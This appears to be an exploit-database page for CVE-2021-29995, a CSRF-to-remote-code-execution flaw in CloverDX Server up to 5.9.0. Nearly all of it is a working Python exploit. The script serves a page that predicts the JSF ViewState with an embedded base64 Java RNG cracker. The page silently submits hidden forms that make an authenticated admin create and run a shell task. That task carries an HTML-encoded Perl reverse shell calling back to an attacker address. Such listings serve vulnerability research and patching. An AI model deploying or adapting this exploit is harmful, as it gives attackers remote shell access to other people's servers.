header-logo
Suggest Exploit
vendor:
CloverDX Server
by:
niebardzo
8,8
CVSS
HIGH
Cross-Site Request Forgery (CSRF)
352
CWE
Product Name: CloverDX Server
Affected Version From: 5.4.x
Affected Version To: 5.9.0
Patch Exists: YES
Related CWE: CVE-2021-29995
CPE: a:cloverdx:cloverdx_server
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Docker
2021

CloverDX 5.9.0 – Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE)

CloverDX 5.9.0 is vulnerable to Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE). An attacker can exploit this vulnerability by sending a malicious request to the target server. The attacker can use the ViewStateCracker.java to crack the ViewState and gain access to the target server. This vulnerability affects versions 5.9.0, 5.8.1, 5.8.0, 5.7.0, 5.6.x, 5.5.x, 5.4.x.

Mitigation:

The user should ensure that the ViewState is properly encrypted and that the server is not vulnerable to CSRF attacks.
Source

Exploit-DB raw data:

# Exploit Title: CloverDX 5.9.0 - Cross-Site Request Forgery (CSRF) to Remote Code Execution (RCE)
# Date: 14.04.2021
# Exploit Author: niebardzo
# Vendor Homepage: https://www.cloverdx.com/
# Software Link: https://github.com/cloverdx/cloverdx-server-docker
# Version: 5.9.0, 5.8.1, 5.8.0, 5.7.0, 5.6.x, 5.5.x, 5.4.x
# Tested on: Docker image - https://github.com/cloverdx/cloverdx-server-docker
# CVE : CVE-2021-29995

# Replace the target, payload and port to host the exploitation server. Exploit requires, inbound connection to CloverDX
# Victim authenticated to CloverDX and the java to run the ViewStateCracker.java.
# Reference for cracking ViewState:
# https://jazzy.id.au/2010/09/20/cracking_random_number_generators_part_1.html
# https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2 
#


import http.server
import socketserver
import requests
from urllib.parse import urlparse
from urllib.parse import parse_qs
from bs4 import BeautifulSoup
import subprocess
import sys
import json


class ExploitHandler(http.server.SimpleHTTPRequestHandler):
	def do_GET(self):
		self.send_response(200)
		self.send_header("Content-Type", "text/html; charset=utf-8")
		self.end_headers()
		
		# replace with your own target
		target = "http://localhost:8080"

		query_comp = parse_qs(urlparse(self.path).query)
		if "target" in query_comp:
			target = query_comp["target"][0]
		
		req = requests.get(target+"/clover/gui/login.jsf")

		if req.status_code != 200:
			sys.exit(-1)

		# parse the reponse retrieve the ViewState
		soup = BeautifulSoup(req.text, "html.parser")
		cur_view_state = soup.find("input", {"name": "javax.faces.ViewState"})["value"]

		# Use the ViewstateCracker.java to get new Viewstate.
		new_view_state = subprocess.check_output(["java", "ViewstateCracker.java", cur_view_state])
		new_view_state = new_view_state.decode("utf-8").strip()
		print(new_view_state)
		if new_view_state == "6927638971750518694:6717304323717288036":
			html = ("<!DOCTYPE html><html><head></head><body><h1>Hello Clover Admin!</h1><br>"
			+ "<script>window.setTimeout(function () { location.reload()}, 1500)</script></body></html>")
		else:
			html = ("<!DOCTYPE html><html><head>"
			+ "<script>"
			+ "function exec1(){document.getElementById('form1').submit(); setTimeout(exec2, 2000);}"
			+ "function exec2(){document.getElementById('form2').submit(); setTimeout(exec3, 2000);}"
			+ "function exec3(){document.getElementById('form3').submit(); setTimeout(exec4, 2000);}"
			+ "function exec4(){document.getElementById('form4').submit();}"
			+ "</script>"
			+ "</head><body onload='exec1();'><h1>Hello Clover Admin! Please wait here, content is loading...</h1>"
			+ "<script>history.pushState('','/');</script>"
			+ "<form target='if1' id='form1' method='GET' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target)
			+ "<input type='submit' value='' style='visibility: hidden;'></form> " 
			+ "<form target='if2' id='form2' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
			+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
			+ "<input type='hidden' value='headerForm&#58;manualListenerItem' name='javax.faces.source'>" 
			+ "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" 
			+ "<input type='hidden' value='allContent' name='javax.faces.partial.render'>" 
			+ "<input type='hidden' value='headerForm&#58;manualListenerItem' name='headerForm&#58;manualListenerItem'>"
			+ "<input type='hidden' value='headerForm' name='headerForm'>"
			+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) 
			+ "<input type='submit' value='' style='visibility: hidden;'></form> "
			+ "<form target='if3' id='form3' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
			+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
			+ "<input type='hidden' value='manualListeneForm&#58;taskType' name='javax.faces.source'>" 
			+ "<input type='hidden' value='manualListeneForm&#58;taskType' name='javax.faces.partial.execute'>" 
			+ "<input type='hidden' value='manualListeneForm&#58;taskFormFragment' name='javax.faces.partial.render'>" 
			+ "<input type='hidden' value='valueChange' name='javax.faces.behavior.event'>"
			+ "<input type='hidden' value='change' name='javax.faces.partial.event'>"
			+ "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>"
			+ "<input type='hidden' value='shell_command' name='manualListeneForm&#58;taskType_input'>" 
			+ "<input type='hidden' value='on' name='manualListeneForm&#58;saveRunRecord_input'>"
			+ "<input type='hidden' value='true' name='manualListeneForm&#58;manualVariablesList_collapsed'>" 
			+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) 
			+ "<input type='submit' value='' style='visibility: hidden;'></form> "
			+ "<form target='if4' id='form4' enctype='application/x-www-form-urlencoded' method='POST' action='{}/clover/gui/event-listeners' style='visibility: hidden;'>".format(target) 
			+ "<input type='hidden' value='true' name='javax.faces.partial.ajax'>" 
			+ "<input type='hidden' value='manualListeneForm:execute_button' name='javax.faces.source'>" 
			+ "<input type='hidden' value='@all' name='javax.faces.partial.execute'>" 
			+ "<input type='hidden' value='rightContent' name='javax.faces.partial.render'>" 
			+ "<input type='hidden' value='manualListeneForm:execute_button' name='manualListeneForm&#58;execute_button'>" 
			+ "<input type='hidden' value='manualListeneForm' name='manualListeneForm'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;properties&#58;propertiesTable&#58;propName'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;properties&#58;propertiesTable&#58;propValue'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;taskType_focus'>" 
			+ "<input type='hidden' value='shell_command' name='manualListeneForm&#58;taskType_input'>"
			#
			# Below is the HTML encoded perl reverse, replace with your own payload, remember to HTML encode.
			# 
			+ "<input type='hidden' value='&#x70;&#x65;&#x72;&#x6c;&#x20;&#x2d;&#x65;&#x20;&#x27;&#x75;&#x73;&#x65;&#x20;&#x53;&#x6f;&#x63;&#x6b;&#x65;&#x74;&#x3b;&#x24;&#x69;&#x3d;"&#x31;&#x39;&#x32;&#x2e;&#x31;&#x36;&#x38;&#x2e;&#x36;&#x35;&#x2e;&#x32;"&#x3b;&#x24;&#x70;&#x3d;&#x34;&#x34;&#x34;&#x34;&#x3b;&#x73;&#x6f;&#x63;&#x6b;&#x65;&#x74;&#x28;&#x53;&#x2c;&#x50;&#x46;&#x5f;&#x49;&#x4e;&#x45;&#x54;&#x2c;&#x53;&#x4f;&#x43;&#x4b;&#x5f;&#x53;&#x54;&#x52;&#x45;&#x41;&#x4d;&#x2c;&#x67;&#x65;&#x74;&#x70;&#x72;&#x6f;&#x74;&#x6f;&#x62;&#x79;&#x6e;&#x61;&#x6d;&#x65;&#x28;"&#x74;&#x63;&#x70;"&#x29;&#x29;&#x3b;&#x69;&#x66;&#x28;&#x63;&#x6f;&#x6e;&#x6e;&#x65;&#x63;&#x74;&#x28;&#x53;&#x2c;&#x73;&#x6f;&#x63;&#x6b;&#x61;&#x64;&#x64;&#x72;&#x5f;&#x69;&#x6e;&#x28;&#x24;&#x70;&#x2c;&#x69;&#x6e;&#x65;&#x74;&#x5f;&#x61;&#x74;&#x6f;&#x6e;&#x28;&#x24;&#x69;&#x29;&#x29;&#x29;&#x29;&#x7b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x49;&#x4e;&#x2c;">&&#x53;"&#x29;&#x3b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x4f;&#x55;&#x54;&#x2c;">&&#x53;"&#x29;&#x3b;&#x6f;&#x70;&#x65;&#x6e;&#x28;&#x53;&#x54;&#x44;&#x45;&#x52;&#x52;&#x2c;">&&#x53;"&#x29;&#x3b;&#x65;&#x78;&#x65;&#x63;&#x28;"&#x2f;&#x62;&#x69;&#x6e;&#x2f;&#x73;&#x68;&#x20;&#x2d;&#x69;"&#x29;&#x3b;&#x7d;&#x3b;&#x27;' name='manualListeneForm&#58;shellEditor'>" 
			+ "<input type='hidden' value='' name='manualListeneForm&#58;workingDirectory'>" 
			+ "<input type='hidden' value='10000' name='manualListeneForm&#58;timeout'>" 
			+ "<input type='hidden' value='true' name='manualListeneForm&#58;scriptVariablesList_collapsed'>" 
			+ "<input type='hidden' value='{}' name='javax.faces.ViewState'>".format(new_view_state.replace(":","&#58;")) 
			+ "<input type='submit' value='' style='visibility: hidden;'></form> "
			+ "<iframe name='if1' style='display: hidden;' width='0' height='0' frameborder='0' ></iframe>"
			+ "<iframe name='if2' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
			+ "<iframe name='if3' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
			+ "<iframe name='if4' style='display: hidden;' width='0' height='0' frameborder='0'></iframe>"
			+ "</body></html>")

		self.wfile.write(bytes(html,"utf-8"))


base64_enc_viewstatecracker = "CnB1YmxpYyBjbGFzcyBWaWV3c3RhdGVDcmFja2VyIHsKICAvKiBTVEFSVCBQQVJUIDEgKi8KICBwdWJsaWMgc3RhdGljIGZpbmFsIGludCBvZmZzZXQgICAgID0gMzI7CiAgcHVibGljIHN0YXRpYyBmaW5hbCBpbnQgaXRlcmF0aW9ucyA9IDY1NTM2OwoKICBwdWJsaWMgc3RhdGljIGZpbmFsIFN0cmluZyBnZW5lcmF0ZU5ld1ZpZXdzdGF0ZShmaW5hbCBsb25nIGlkSW5Mb2dpY2FsTWFwLCBmaW5hbCBsb25nIGlkSW5BY3R1YWxNYXApIHsKICAgIGZpbmFsIGxvbmcgZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwICA9IGlkSW5Mb2dpY2FsTWFwID4+PiBvZmZzZXQ7CiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXAgPSAoKGlkSW5Mb2dpY2FsTWFwIDw8IG9mZnNldCkgPj4+IG9mZnNldCk7CiAgICBmaW5hbCBsb25nIGZpcnN0MzJCaXRzT2ZJZEluQWN0dWFsTWFwICAgPSBpZEluQWN0dWFsTWFwID4+PiBvZmZzZXQ7ICAgICAgICAgLy8gVmVyaWZpY2F0aW9uCiAgICBmaW5hbCBsb25nIHNlY29uZDMyQml0c09mSWRJbkFjdHVhbE1hcCAgPSAoKGlkSW5BY3R1YWxNYXAgPDwgb2Zmc2V0KSA+Pj4gb2Zmc2V0KTsgLy8gVmVyaWZpY2F0aW9uCiAgICAvKiBFTkQgUEFSVCAxICovCgogICAgLyogU1RBUlQgUEFSVCAyICovCiAgICBsb25nIHRoZV9zZWVkID0gMUw7CgogICAgZm9yIChpbnQgaSA9IDA7IGkgPCBpdGVyYXRpb25zOyBpKyspIHsKICAgICAgbG9uZyB0bXBfc2VlZCA9ICgoZmlyc3QzMkJpdHNPZklkSW5Mb2dpY2FsTWFwIDw8IDE2KSArIGkpOwogICAgICBpZiAoKChpbnQpKCgodG1wX3NlZWQgKiAweDVERUVDRTY2REwgKyAweEJsKSAmICgoMUwgPDwgNDgpIC0gMSkpID4+PiAxNikpID09IHNlY29uZDMyQml0c09mSWRJbkxvZ2ljYWxNYXApIHsKICAgICAgICAvL1N5c3RlbS5vdXQucHJpbnRsbigiU2VlZCBmb3VuZDogIiArIHRtcF9zZWVkKTsKICAgICAgICB0aGVfc2VlZCA9IHRtcF9zZWVkOwogICAgICAgIGJyZWFrOwogICAgICB9CiAgICB9CiAgICAvKiBFTkQgUEFSVCAyICovCgogICAgLyogU1RBUlQgUEFSVCAzICovCiAgICAvLyBHZW5lcmF0ZSBudW1iZXIgMiAoU2Vjb25kIE51bWJlciBvZiBpZEluTG9naWNhbE1hcCkKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwoKICAgIC8vQ2FsY3VsYXRlIHRoZSB2YWx1ZSBvZiBpZEluQWN0dWFsTWFwCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgLyogRU5EIFBBUlQgMyovCgogICAgLyogU1RBUlQgUEFSVCA0Ki8KICAgIC8qIENhbGN1bGF0ZSBhIG5ldyBpZEluTG9naWNhbE1hcCAqLwoKICAgIC8vIEdlbmVyYXRlIHRoZSBmaXJzdCBoYWxmIG9mIHRoZSBmaXJzdCBMb25nCiAgICB0aGVfc2VlZCA9ICh0aGVfc2VlZCAqIDB4NURFRUNFNjZETCArIDB4QkwpICYgKCgxTCA8PCA0OCkgLSAxKTsKICAgIGludCBudW1iZXJfNSA9ICgoaW50KSh0aGVfc2VlZCA+Pj4gMTYpKTsKCiAgICAvLyBHZW5lcmF0ZSB0aGUgc2Vjb25kIGhhbGYgb2YgdGhlIGZpcnN0IExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl82ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vSGVyZSBpcyB0aGUgbmV3IGlkSW5Mb2dpY2FsTWFwCiAgICBsb25nIG5ld19sb25nXzEgPSAoKChsb25nKW51bWJlcl81IDw8IDMyKSArIG51bWJlcl82KTsKCgogICAgLyogQ2FsY3VsYXRlIGEgbmV3IGlkSW5BY3R1YWxNYXAgKi8KCiAgICAvLyBHZW5lcmF0ZSB0aGUgZmlyc3QgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl83ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vIEdlbmVyYXRlIHRoZSBzZWNvbmQgaGFsZiBvZiB0aGUgc2Vjb25kIExvbmcKICAgIHRoZV9zZWVkID0gKHRoZV9zZWVkICogMHg1REVFQ0U2NkRMICsgMHhCTCkgJiAoKDFMIDw8IDQ4KSAtIDEpOwogICAgaW50IG51bWJlcl84ID0gKChpbnQpKHRoZV9zZWVkID4+PiAxNikpOwoKICAgIC8vCiAgICBsb25nIG5ld19sb25nXzIgPSAoKChsb25nKW51bWJlcl83IDw8IDMyKSArIG51bWJlcl84KTsKCiAgICByZXR1cm4gbmV3X2xvbmdfMSArICI6IiArIG5ld19sb25nXzI7CiAgICAvKkVORCBQQVJUNCovCiAgfQogcHVibGljIHN0YXRpYyB2b2lkIG1haW4gKFN0cmluZyBhcmdzW10pIHsKCVN0cmluZyB0b2tlbiA9IGFyZ3NbMF07CglTdHJpbmdbXSBsb25ncyA9IHRva2VuLnNwbGl0KCI6Iik7Cglsb25nIGxvbmcxID0gTG9uZy5wYXJzZUxvbmcobG9uZ3NbMF0pOwoJbG9uZyBsb25nMiA9IExvbmcucGFyc2VMb25nKGxvbmdzWzFdKTsKCVN0cmluZyBuZXdUb2tlbiA9IGdlbmVyYXRlTmV3Vmlld3N0YXRlKGxvbmcxLGxvbmcyKTsKCVN5c3RlbS5vdXQucHJpbnRsbihuZXdUb2tlbik7Cgp9Cgp9Cg=="

#
# This drops ViewstateCracker.java from above, ref: https://blog.securityevaluators.com/cracking-javas-rng-for-csrf-ea9cacd231d2
#

with open("ViewstateCracker.java","w") as f:
    f.write(b64decode(bytes(base64_enc_viewstatecracker, 'utf-8')).decode('utf-8'))


exploit_handler = ExploitHandler

PORT = 6010

exploit_server = socketserver.TCPServer(("", PORT), exploit_handler)

exploit_server.serve_forever()